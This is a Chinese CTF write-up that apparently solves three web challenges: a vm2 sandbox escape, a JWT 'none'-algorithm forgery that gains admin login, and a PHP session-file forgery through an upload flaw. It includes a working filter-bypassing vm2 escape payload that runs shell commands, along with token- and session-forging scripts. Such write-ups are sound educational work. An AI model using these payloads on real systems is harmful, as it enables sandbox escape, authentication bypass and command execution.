Just escape

1.png
打开 看见是一个代码执行
提示一句真的是php吗 猜测可能是Node.js 因为题目出的太多了
这里面用一个测试语句
var err = new Error();err.stack;
可以打印出栈上的错误
2.png
发现是vm2 简单百度了下 因为自己不太懂Node.js 发现这个vm2是个非官方的模块,是一个替代品,到这里就不知道该怎么做了,这时候看wp发现一个链接
https://github.com/patriksimek/vm2/issues/225
发现上面爆了一个命令执行的漏洞
一把梭试了一下
3.png
好像是过滤了一些东西
过滤了for, while, process, exec, eval, constructor, prototype, Function, 加号, 双引号, 单引号
思路有三种
第一种 数组绕过
4.png
第二种 利用javascript模板字符串
来源于赵总的思路
当有一些关键字被过滤时候我们可以考虑用这种语法
1.png
payload:

(function (){
    TypeError[`${`${`prototyp`}e`}`][`${`${`get_proces`}s`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return this.proces`}s`}`)();
    try{
        Object.preventExtensions(Buffer.from(``)).a = 1;
    }catch(e){
        return e[`${`${`get_proces`}s`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`whoami`).toString();
    }
})()

当时不太懂这个TypeError函数 search一下说是数组调用保证能成功执行 先记住
第三种思路
用十六进制编码
还是用这个函数TypeError 然后(xx 双引号用反印号绕过即可
理清一下这道题的思路
C153BF95-4FA6-420A-AAD7-84F6939931FF.png

Easy login

不会 回头复现发现是Node.js的题目
首先Node.js题目先看源码
part1.png
在源码找到一个static/js/app.js
访问发现
69053C7B-832D-44AC-821F-94698D2CB8AC.png
得到提示是映射到根目录 这里就要说下Node.js这个框架了

dispatch.js 主进程文件

worker.js 工作进程
app.js 应用
routes.js url路由表
package.json 依赖模块
config.js or config/ 配置文件
controllers/ 业务逻辑相关
views/ 试图模板
common/ 跟业务相关的公共模块
proxy/ 数据访问代理层
lib/ 跟业务无关的公共模块
assets/ images|scripts|styles
bin/ 相关运行脚本
node_moudules/

所以我们就依次尝试去读取一下
test.png
有用的基本就这些
然后我们搜索关键字flag
发现在 cotroller/api.js中

const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')

const APIError = require('../rest').APIError;

module.exports = {
    'POST /api/register': async (ctx, next) => {
        const {username, password} = ctx.request.body;

        if(!username || username === 'admin'){
            throw new APIError('register error', 'wrong username');
        }

        if(global.secrets.length > 100000) {
            global.secrets = [];
        }

        const secret = crypto.randomBytes(18).toString('hex');
        const secretid = global.secrets.length;
        global.secrets.push(secret)

        const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

        ctx.rest({
            token: token
        });

        await next();
    },

    'POST /api/login': async (ctx, next) => {
        const {username, password} = ctx.request.body;

        if(!username || !password) {
            throw new APIError('login error', 'username or password is necessary');
        }

        const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

        const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

        console.log(sid)

        if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
            throw new APIError('login error', 'no such secret id');
        }

        const secret = global.secrets[sid];

        const user = jwt.verify(token, secret, {algorithm: 'HS256'});

        const status = username === user.username && password === user.password;

        if(status) {
            ctx.session.username = username;
        }

        ctx.rest({
            status
        });

        await next();
    },

    'GET /api/flag': async (ctx, next) => {
        if(ctx.session.username !== 'admin'){
            throw new APIError('permission error', 'permission denied');
        }

        const flag = fs.readFileSync('/flag').toString();
        ctx.rest({
            flag
        });

        await next();
    },

    'GET /api/logout': async (ctx, next) => {
        ctx.session.username = null;
        ctx.rest({
            status: true
        })
        await next();
    }
};

发现主要有这么三个路由
/api/register注册 /api/login登录 /api/flag获取flag
首先register接受传进来的账号密码
if(!username || username === 'admin'){

        throw new APIError('register error', 'wrong username');
    }

判断username 只能为admin
const secret = crypto.randomBytes(18).toString('hex');

    const secretid = global.secrets.length;
    global.secrets.push(secret)

然后随机生成一个18字符 然后用secretid来索引

    const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

用jwt方式 将secret作为内容进行HS256加密
/api/login路由
通过secretid索引读取secret的值
const secret = global.secrets[sid];

    const user = jwt.verify(token, secret, {algorithm: 'HS256'});

    const status = username === user.username && password === user.password;

    if(status) {
        ctx.session.username = username;
    }

然后用token进行验证 通过验证把username赋给session中的
/api/flag
admin访问这个用户getflag
关键点在于伪造jwt令牌 在赵总的博客得知

**当加密时使用的是none算法,并且秘钥的值为undefined或空的时候,在验证时,即便后面的算法设置为 HS256,验证也还是按照none来进行并且通过验证。
造成这个漏洞的原因在于:这里验证的时候options选用的是algorithm,而依赖库中正确的是algorithms,正是这个原因造成了上面的漏洞。**

但这里还有一些奇妙的点要求sid不能为undefined js和php一样是弱类型语言
我们传个数组[]进去就可以进行伪造
那我们的思路是
开始注册->伪造得到admin->getflag
然后抓包注册 发现有一串token
1.png
https://jwt.io中进行解密
1.png
简单写个小脚本

import jwt
token = jwt.encode({"secretid":[],"username": "admin","password": "admin","iat": 1587736827},algorithm="none",key="").decode(encoding='utf-8')
print(token)

得到一个伪造的token
然后登录处抓包
2.png
修改为我们伪造的admin admin
1.png
将这串sses:aok sses:aok;.sig替换
3.png
访问/api/flag
1.png
拿下flag

Baby upload

打开靶机已经把源代码po出来了

session_start();
require_once "/flag";
highlight_file(__FILE__);
if($_SESSION['username'] ==='admin')
{
    $filename='/var/babyctf/success.txt';
    if(file_exists($filename)){
            safe_delete($filename);
            die($flag);
    }
}

引入flag 判断session为admin file_exists是判断文件是否存在 如果存在 就删除文件 然后贴出flag

$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
    $dir_path .= "/".$_SESSION['username'];
}

获取相关参数POST传参 如果attr变量为private 则把用户名拼接在后面
然后就是direction的两个操作 上传和下载

if($direction === "upload"){
    try{
        if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
            throw new RuntimeException('invalid upload');
        }
        $file_path = $dir_path."/".$_FILES['up_file']['name'];
        $file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
        if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
            throw new RuntimeException('invalid file path');
        }
        @mkdir($dir_path, 0700, TRUE);
        if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
            $upload_result = "uploaded";
        }else{
            throw new RuntimeException('error while saving');
        }
    } catch (RuntimeException $e) {
        $upload_result = $e->getMessage();
    }

up_file 把文件名拼在后面
加上下划线和这个文件内容的 sha256 摘要值
然后判断是否有路径穿越 创建目录
下载操作,获取要读取的文件名(POST filename参数),拼接路径,判断是否有路径穿越,然后将文件内容返回。

 elseif ($direction === "download") {
    try{
        $filename = basename(filter_input(INPUT_POST, 'filename'));
        $file_path = $dir_path."/".$filename;
        if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
            throw new RuntimeException('invalid file path');
        }
        if(!file_exists($file_path)) {
            throw new RuntimeException('file not exist');
        }
        header('Content-Type: application/force-download');
        header('Content-Length: '.filesize($file_path));
        header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
        if(readfile($file_path)){
            $download_result = "downloaded";
        }else{
            throw new RuntimeException('error while saving');
        }
    } catch (RuntimeException $e) {
        $download_result = $e->getMessage();
    }
    exit;

我们首先运用download这个点看一下现在的session
1.png
首先在cookie里面找到phpsess
然后构造
2.png
这里面比较坑的一个点是 username前面还有个不可见字符
1.png
在看师傅们的解之后明白 这个session前面没有| 这个其实他的session 处理器是一个php binary
参考文章:

https://blog.spoock.com/2016/10/16/php-serialize-problem/
然后思路是把guest修改为admin 把它上传上去进行伪造

1.png
然后用函数算出来他的值
1.png
接下来考虑上传两次 第一次上传覆盖掉session 另一次就要上传success.txt了
这里面的函数是file_exists()用来检测文件夹或目录 所以我们上传一个success.txt的目录
这里利用postman
将我们的sess文件传上去
然后进行sha256后的字符串
432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4
上传 download
1.png
第一步 get
然后就是令attr=success.txt
最后修改phpsessid的值
2.png
getflag

参考链接

赵总'sblog https://www.zhaoj.in/read-6512.html

一些细节与思考

在babyupload
在session文件修改的时候 我本地是mac环境 没办法复制那个不可见的字符
所以用一个脚本

<?php

ini_set('session.serialize_handler', 'php_binary');
session_save_path("/Applications/MAMP/htdocs/1");
session_start();

$_SESSION['username'] = 'admin';

file_exists()函数经常出现将文件当作目录可以绕过
postman调试的时候真的是神器 个人觉得比burp好用些
要加强对代码的阅读能力 包括Node.js框架的学习

--------------------------------------------Thanks-----------------------------------------------